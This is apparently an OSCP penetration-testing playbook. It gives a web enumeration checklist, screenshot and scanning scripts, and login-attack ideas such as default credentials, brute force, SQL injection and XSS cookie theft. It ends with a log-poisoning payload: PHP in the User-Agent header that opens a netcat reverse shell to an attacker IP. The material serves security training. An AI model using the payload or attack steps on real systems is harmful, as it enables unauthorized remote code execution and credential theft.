OSCP Playbook
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Enumeration checklist

Checklist

  • Checkout what the web display
  • Read entire pages. Enumerate for emails, names, user info etc.
  • Directory discovery
  • Enum the interface, version of CMS? Server installation page?
  • Potential vulnerability? LFI, RFI, XEE, Upload?
  • Default web server page, version information
  • View source code
    • Hidden Values
    • Developer Remarks
    • Extraneous Code
    • Passwords
  • Robots.txt
  • Web scanning

Web Scanning

Brute forcing HTTP(s) directories and files

HTTPs certification

Might have username

Script to preview the website from IP in html

Create a list of the IP and Extract PNG
for ip in $(cat web-ip.txt | grep 80 | grep -v "Nmap" |
awk '{print $2}'); do cutycapt --url=$ip --out=$ip.png;done
Make it HTML pngtohtml.sh
#!/bin/bash
# Bash script to examine the scan results through HTML.
echo "<HTML><BODY><BR>" > web.html
ls -1 *.png | awk -F : '{ print $1":\n<BR><IMG SRC=\""$1""$2"\" width=600><BR>"}' >> w
eb.html
echo "</BODY></HTML>" >> web.html

Creating wordlist from webpage

  • cewl

Redirecting webpage automatically?

  • noredirect plugin

Login page

  • View source code
  • Use default password
  • Brute force directory first (sometime you don't need to login to pwn the machine)
  • Search credential by bruteforce directory
  • bruteforce credential
  • Search credential in other service port
  • Enumeration for the credential
  • Register first
  • SQL injection
  • XSS can be used to get the admin cookie
  • Bruteforce session cookie

Identify WAF

wafw00f

Find version vulnerability?

  • Google

HTTPS heartbleed

  • Scan for heartbleed
    sslscan $ip:443
    nmap -sV --script=ssl-heartbleed $ip

Password?

When presented with an enter credentials page, the first thing I try is common credentials (admin/admin, admin/password).
If that doesn’t work out, I look for default credentials online that are specific to the technology. Last, I use a password cracker if all else fails.

Log poisoning

From LFI to RCE
If you get local file inclusion for log, you maybe can log poisoning the log
Change user agent by intercept in burp to this to get reverse shell
nc -lnvp 4444
<?php exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.12 4444 >/tmp/f') ?>